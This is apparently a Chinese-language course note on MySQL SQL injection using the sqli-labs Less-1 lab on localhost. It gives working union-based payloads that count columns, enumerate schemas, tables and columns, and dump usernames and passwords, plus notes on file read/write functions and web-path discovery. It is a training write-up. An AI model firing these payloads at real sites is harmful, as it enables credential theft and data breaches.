2021-10-18简易SQL注入(MYSQL)
小迪笔记 v10
sql注入存在的原因:
1.直接将url参数、 Post参数或其他外来的用户输入(如 Cookies,UserAgent等)与SQL语句进行拼接.。
2.没有对用户提交的数据进行过滤就拼接到sql语句中。
产生sql注入的两个条件:
1.传入到后端的参数是可以控制的
2.参数内容会被带入到数据库查询
1.sqlilabs less1 字符型注入
输入:index.php?id=1
?:连接符
显示正常
输入:index.php?id=1'
报错
报错信息:''1'' LIMIT 0,1' at line 1
可以看出引号没有闭合所以报错
输入:index.php?id=1''
引号闭合,显示正常。
结合index.php代码来看,可以判断问题参数为id,漏洞类型为字符型。
还可以通过 and 1=2 判断
输入:index.php?id=1+and+1=2
and: 全真为真
+:空格
并不报错,并不是整型漏洞。
既然通过引号闭合可以避免报错,那么我们利用这点拼接sql语句
闭合法:index.php?id=1' and '1'='2
注释法:index.php?id=1' and 1=2 --+
这里 --+中的–是注释的意思,必须配合空格(+)使用,也可使用#+,但是会报错,这里是因为url中#号是用来指导浏览器动作的(例如锚点),对服务器端完全无用。所以,HTTP请求中不包括#将#号改成url的编码%23就可以了
参考:
https://blog.csdn.net/xiayun1995/article/details/86500605
使用联合查询注入 union ,sql语言的语法中,通过关键字 union 运算符可以将两个或者两个以上select语句的查询结果合并成一个结果显示。注意在使用union查询的时候前后SQL语句查询的列数相同。
通过联合查询我们可以查询出 数据库信息、数据表信息、数据字段信息等
判断字段长度
输入:index.php?id=1' order by 3 --+
正常
输入:index.php?id=1' order by 4 --+
可以判读该字段的长度为3
使用联合注入
index.php?id=1' union select 1,2,3 --+
判断回显位(是指网页能够显示数据的位置),只需要输入一个数据库中不存在的id,例如-1,或者空,让union前一条语句返回0,
index.php?id=' union select 1,2,3 --+
如图,我们知道显示内容在 2,3列。
获取数据
获取当前库名用到mysql 函数 database(),放在回显位上
输入:index.php?id=-1' union select 1,2,database() --+
放在3上
放在2上
获取所有数据库名
information_schema
其中保存着关于MySQL(版本5.0以上)服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等,所以我们需要查询这个库。
查看schemata 中的SCHEMA_NAME可以看到数据库存放的数据库名。
输入:http://127.0.0.1/sqlilabs/Less-1/?id='union select 1,2,(select schema_name from information_schema.schemata) --+
提示一行显示不了
通过group_concat()将多行合并为一行输出
输入:?id='union select 1,2,(select group_concat(schema_name) from information_schema.schemata) --+
获取security数据库表数据
输入:?id='union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security') --+
获取users列数据
users中可能存放敏感用户数据
输入:?id='union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users') --+
获取所有用户名和密码
输入:?id='union select 1,2,(select group_concat(username,0x7E,password) from users) --+
获取指定数据库用户名和密码(跨站)
?id='union select 1,2,(select group_concat(username,0x7E,password) from pikachu.users) --+
ox7E 转16进制 ~
其它笔记
&连接多个参数
例:
www.xxxx.com/main.php?id=13&page=1
如果id参数有注入,该如何测试
① www.xxxx.com/main.php?id=13 and 1=1&page=1
② www.xxxx.com/main.php?page=1&id=13 and 1=1
mysql cmd命令:
开启: mysql -u root -p
查看数据库:show database;
使用某个数据库: use xxx;
查看这个数据库表: show tables;
信息收集:
数据库版本:version()
数据库名:database()
数据库用户:user()
操作系统:@@version_compile_os
schema_name 库名
table_schema 数据库名
table_name 表名
column_name 列名
文件读写操作:
读取函数:load_file() 前提secure_file_ priv为空
导出函数:into outfile 或 into dumpfile
路径获取常见方法:
报错显示
遗留文件 inurl:phpinfo.php
漏洞报错
平台配置文件
魔术引号 magic_quotes_gpc 绕过方法:使用编码 ,addslaches()